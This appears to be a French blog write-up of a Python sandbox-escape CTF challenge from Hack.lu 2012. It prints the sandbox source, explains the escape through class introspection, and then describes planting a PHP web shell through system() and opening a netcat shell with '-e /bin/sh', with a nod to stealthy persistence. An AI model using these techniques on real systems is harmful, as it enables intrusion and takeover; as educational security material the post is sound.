2014/11/15

Python sandbox escape: sortez du bac à sable !

Salut tout le monde!

De passage sur mon blog pour un nouveau papier concernant quelque chose sur  lequel je serais emmené à travailler bien plus en profondeur: l'évasion de sandbox !

Pour ceux qui ne comprendraient pas le fait de jouer dans des bacs à sable python, je vous remmène à l'actualité de la semaine passé avec une MAGNIFIQUE publication de l'équpe de chez G-DATA (salut à RootBSD au passage!)  sur Cuckoo qui travaille lui-même sur une base sandbox en Python (vulnérabilité corrigée dans la foulée sur la version 1.1.1) et la possibilité pour un code malveillant d'en sortir via une variable "buf" mal 'sanitized' comme ceci:


Link vers la publication ici et vers le POC de G-DATA ici .

Bon .. le contexte étant dessiné, passons maintenant à l'article lui-même!
Première chose: avoir une sandbox a pwnd sans quoi on n'irait pas bien loin... j'ai donc cherché sur le net et en ai trouvé 2 sympa.

Ceci dis je n'en aurai retenu qu'une, l'autre m'ayant déjà amusé par le passé et donc voulant aussi m'amuser un peu je me suis dis que celle ci serait plus "fun" à exploiter!

Il s'agit d'un ancien challenge du CTF de la Hack.lu de 2012  (liens en fin d'article) mais qui, pour un débutant comme moi dans le domaine, n'a pas pris une ride alors ... allons-y !

Voici la source de cette sandbox:

  1. #!/usr/bin/python
  2. def make_secure():
  3.     UNSAFE = ['open',
  4.               'file',
  5.               'execfile',
  6.               'compile',
  7.               'reload',
  8.               '__import__',
  9.               'eval',
  10.               'locals',
  11.   'input']
  12.                      
  13.     for func in UNSAFE:
  14.         del __builtins__.__dict__[func]
  15. from re import findall
  16. # Suppression de la liste des builtins dangeureux:
  17. make_secure()
  18. print 'Go Ahead, Expoit me >;D'

  19. while True:
  20.     try:
  21.         # Lis l entree utilisateur jusqu au premier caractere vide (espace):
  22.         inp = findall('\S+', raw_input())[0]
  23.         a = None
  24.         # Attribue a la variable l output de l execution:
  25.         exec 'a=' + inp
  26.         print 'Return Value:', a
  27.     except Exception, e:
  28.         print 'Exception:', e


(Rappelons qu'ici l'objectif sera de lire un fichier nommé "FileToRead" et placé dans le répertoire courant.)

Tout d'abord que voyons nous?
On remarque vite qu'une fonction est appelée afin de nous empêcher d'accéder à certains __builtins__() qui sont, pour rappel, des fonctions prédéfinies de Python.

Dommage, pas de eval(), pas de possibilité d'appeler __import__() ni open() enfin bref que du bonheur !
A présent j'ai deux approche en tête mais ne vais me consacrer qu'à une qui m'a particulièrement plûe et que je vais donc dérouler à présent.

ne pouvant me reposer sur mes __builtins__() préférés, je vais commencer par rapidement faire une évaluation des possibilités qui s'offrent tout de même à moi et après quelques tests (certains visible dans le screenshot suivant) me voila arrivé à ceci:




Bon, ici que voyons-nous concrètement?
Et bien pas mal de choses intéressantes comme surtout l'appel aux sous-classes qui est possible (pourquoi ne le serait-il pas??) et bien sûr le builtin dir() qui nous retourne une liste complète des attributs disponibles!

Dans ce cas cherchons donc si quelque chose existe et se trouve disponible pour arriver à sortir de cette sandbox et aller lire notre fichier comme nous le ferions avec le builtin file() (ne pas confondre avec __file__).

Oui mais alors comment faire? Simple! Allons ici lire la doc Python afin d'avoir quelques précisions et idées !

L'attribut "bases" peux nous aider, en effet, ce dernier retourne les classes de base d'un objet de classe (sous classe), testons et creusons:


WOOT!!

Bon la je sais pas vous mais moi en voyant ça j'me dis que la sortie est proche réfléchissons et surtout continuons avec, en premier lieu, des tests en local sur l'interpréteur Python d'autant que nous voyons dans cette magnifique liste un certain "type file" et ça mes amis ça vaut de l'or !

L'idée sera alors de tester cette classe en utilisant son index.
Afin donc de ne pas le compter à la mano, utilisons bêtement une petite boucle et le tour sera alors joué:


Ok... à présent nous avons: la classe et son index donc testons notre idée en local et si cette dernière fonctionne, sur notre sandbox afin d'aller jouer hors du bac à sable:



Et bien, qu'est-ce que je disais!?
La sortie semble toute proche et l'heure de vérité a sonné: libérons nous de nos chaînes !!


Pour aller plus loin


A partir d'ici nous ne sommes plus gêné et sortons de la sandbox alors il serait temps de, par exemple, s'octroyer un petit shell qu'en dites vous ?

(on peux aussi modifier des configurations réseau ou autre, cela dépendra de votre imagination, de vos compétences, de vos objectifs mais surtout des permissions)

J'illustrerais cela avec la compromission du système via son site web avec obtention d'un web shell puis d'un reverse shell via NC (si un IPTABLES était présent j'aurais tout aussi bien pût mettre en pratique mon firewall bypassing et maintenir un accès furtif persistant via l'option -9 ou --listen-signature sous HPING3).

Ici mon idée sera simple: injecter du code php dans la page d'index index.php avec un paramètre passé en GET puis transmis à system() pour  obtenir mon web shell:



Bon il est évident que nous avons un léger soucis avec les espaces, qu'à cela ne tienne, utilisons autre chose:



Okay il semble que cette fois-ci notre code malicieux ait bien été injecté dans la page souhaitée testons et par la même voyons si notre reverse shell peux être mis en place!


Magnifique!!
A présent voyons si notre nc -nvv -l -p 31337 -e /bin/sh fonctionne:


Et voilà !!  Mission accomplie avec succès: "from sandbox to reverse shell" , bien sûr tout  cela peut encore être amélioré (FW bypass, priv-esc ..) mais ce n'est pas le sujet ici.

Vous avez donc bien plus ici qu'un simple write-up tel qu'on en trouve concernant ce type de challenge sur le net avec, je l'espère, une meilleure visibilité sur l'impact que peux avoir une évasion de sandbox mais aussi comment concrètement cela se passe!
Nos seules limites? Nos compétences et notre imagination...comme toujours...

Liens utiles et qui m'ont énormément appris:
http://zolmeister.com/2013/05/escaping-python-sandbox.html
https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

A bientôt pour de nouvelles aventures et ... sortez couvert !! :D

2 commentaires:

Anonyme a dit…

Excellent KMKZ, merci pour l'analyse, je vais tester!
Jacques

nicolas outin a dit…

C'est juste magnifique